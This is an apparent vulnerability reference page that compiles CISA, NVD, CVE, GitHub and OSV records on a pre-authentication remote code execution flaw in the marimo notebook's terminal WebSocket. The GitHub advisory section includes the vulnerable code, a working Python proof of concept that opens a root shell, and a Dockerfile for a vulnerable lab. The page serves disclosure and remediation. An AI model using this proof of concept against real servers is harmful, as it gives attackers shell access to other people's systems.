CVE-2026-39987: Marimo Remote Code Execution Vulnerability
Reference page built from the source records below, each shown as its source publishes it. Dataset version ref-05713327d652, updated 2026-11-02T23:39:54.475Z.
CISA Known Exploited Vulnerabilities
- Name
- Marimo Remote Code Execution Vulnerability
- Vendor
- Marimo
- Product
- Marimo
- Added to the catalog
- 2026-04-23
- Due date for US federal agencies
- 2026-05-07
- Weaknesses
- CWE-306
- Catalog version
- 2026.10.30
Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.
Required action (CISA)
Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Ransomware use: CISA does not mark known use of this vulnerability in ransomware campaigns.
Links in CISA's notes
- https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- https://nvd.nist.gov/vuln/detail/CVE-2026-39987
Read on 2026-11-02T23:39:54.475Z under licence cisa-kev-cc0@b0067899 from https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD analysis
- Status
- Analyzed
- Published
- 2026-04-09T18:17:02.807
- Last modified
- 2026-06-17T10:42:51.460
- Weaknesses
- CWE-306
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
| Metric | Score | Severity | Vector | Scored by |
|---|---|---|---|---|
| CVSS 4.0 | 9.3 | CRITICAL | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X | [email protected] (Secondary) |
| CVSS 3.1 | 9.8 | CRITICAL | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | [email protected] (Primary) |
References
- https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a (Patch)
- https://github.com/marimo-team/marimo/pull/9098 (Issue Tracking, Patch)
- https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc (Exploit, Mitigation, Vendor Advisory)
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-39987 (US Government Resource)
- https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours (Exploit, Third Party Advisory)
This product uses the NVD API but is not endorsed or certified by the NVD.
Read on 2026-11-02T23:42:31.494Z under licence nvd-api-terms-of-use@ff2a5288 from https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-39987
CVE record
- Title (CNA)
- marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Assigner
- GitHub_M
- State
- PUBLISHED
- Published
- 2026-04-09T17:16:55.639Z
- Updated
- 2026-04-24T03:55:20.777Z
- Problem types
- CWE-306: Missing Authentication for Critical Function
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
References
- https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- https://github.com/marimo-team/marimo/pull/9098
- https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
Read on 2026-11-03T02:19:58.594Z under licence cve-terms-of-use@81bfa2f3 from https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/39xxx/CVE-2026-39987.json
GitHub Advisory Database
GHSA-2679-6mx9-h9xc: Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass
- Severity (GitHub)
- critical
- CVSS
- 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306
- Published
- 2026-04-08T21:50:58Z
- Updated
- 2026-04-27T16:30:09Z
- pip marimo: affected < 0.23.0, first patched 0.23.0
## Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
## Affected Versions
Marimo <= 0.20.4
## Vulnerability Details
### Root Cause: Terminal WebSocket Missing Authentication
`marimo/_server/api/endpoints/terminal.py` lines 340-356:
```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # Accepts connection directly
# ...
child_pid, fd = pty.fork() # Creates PTY shell
```
Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):
```python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Correct auth check
return
```
### Authentication Middleware Limitation
Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.
The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
### Attack Chain
1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)
2. `websocket.accept()` accepts the connection directly
3. `pty.fork()` creates a PTY child process
4. Full interactive shell with arbitrary command execution
5. Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
## Proof of Concept
```python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)
ws.close()
```
### Reproduction Environment
```dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
```
### Reproduction Result
With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:
```
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3
```
## Suggested Remediation
1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`
2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
3. Terminal functionality should only be available when explicitly enabled, not on by default
## Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Read on 2026-11-03T02:47:44.472Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.github.com/advisories/GHSA-2679-6mx9-h9xc
Also known as / affected packages
GHSA-2679-6mx9-h9xc
Also known as: CVE-2026-39987. OSV.dev record, GitHub advisory.
- PyPI marimo: introduced 0, fixed 0.23.0
Read on 2026-11-03T02:53:51.383Z under licence ghsa-cc-by-4.0@9e5f1b3c from https://api.osv.dev/v1/vulns/GHSA-2679-6mx9-h9xc
Defensive techniques (MITRE D3FEND)
D3FEND maps these defensive techniques to the weakness (CWE) that NVD lists for this CVE, through the digital artifacts the weakness affects. D3FEND does not say they stop this vulnerability.
CWE-306: Missing Authentication for Critical Function
- Model: Asset Vulnerability Enumeration (acts on Software)
- Isolate: Application-based Process Isolation (acts on Subroutine)
- Harden: Trusted Library (acts on Subroutine)
- Harden: Software Update (acts on Software)
- Restore: Restore Software (acts on Software)
- Model: Software Inventory (acts on Software)
- Harden: Variable Initialization (acts on Subroutine)
- Harden: Domain Logic Validation (acts on Subroutine)
- Harden: Credential Scrubbing (acts on Subroutine)
D3FEND ontology version 1.6.0.
Read on 2026-11-02T23:55:55.098Z under licence d3fend-terms-of-use@f98cbc7e from https://d3fend.mitre.org/api/weakness/cwe/CWE-306.json
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/
Sources and licences
CISA
Source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30, CC0 1.0. Use of this data does not imply endorsement by CISA or DHS.
National Vulnerability Database (NIST)
This product uses the NVD API but is not endorsed or certified by the NVD.
NVD API Terms of Use (NIST publications in the public domain, 17 U.S.C. 105)
CVE Program, The MITRE Corporation
Copyright © 1999-2026, The MITRE Corporation. CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE™). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
GitHub Advisory Database
Source: GitHub Advisory Database, https://github.com/advisories/GHSA-2679-6mx9-h9xc, licensed under CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/). Changes: fields selected and reformatted by ransomware-tracker.com.
GitHub Advisory Database via OSV.dev
GHSA-2679-6mx9-h9xc: GitHub Advisory Database, https://github.com/advisories/GHSA-2679-6mx9-h9xc. Licensed CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/), provided as is, without warranties. Retrieved via OSV.dev (https://osv.dev/vulnerability/GHSA-2679-6mx9-h9xc), which enriches records; fields selected and reformatted by ransomware-tracker.com.
MITRE D3FEND
MITRE D3FEND™ knowledge graph. © 2025 The MITRE Corporation.
"The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use D3FEND for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy." Terms: https://d3fend.mitre.org/tou/MITRE D3FEND Terms of Use (site + knowledge graph); source repo MIT
Cite this page
Dragons Eye Ransomware Tracker, "CVE-2026-39987: Marimo Remote Code Execution Vulnerability",
entity page, dataset version ref-05713327d652, updated 2026-11-02T23:39:54.475Z,
https://ransomware-tracker.com/cve/CVE-2026-39987 (accessed 2026-11-03).
Underlying source: CISA Catalog of Known Exploited Vulnerabilities, version 2026.10.30.
Underlying source: National Vulnerability Database (NIST), CVE API 2.0, record last modified 2026-06-17T10:42:51.460.
Underlying source: CVE List (CVE Program, The MITRE Corporation), record updated 2026-04-24T03:55:20.777Z.
Underlying source: GitHub Advisory Database, GHSA-2679-6mx9-h9xc, updated 2026-04-27T16:30:09Z.
Underlying source: GitHub Advisory Database, GHSA-2679-6mx9-h9xc, via OSV.dev, modified 2026-06-29T12:26:12.729455405Z.
Underlying source: MITRE D3FEND, ontology version 1.6.0.
Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.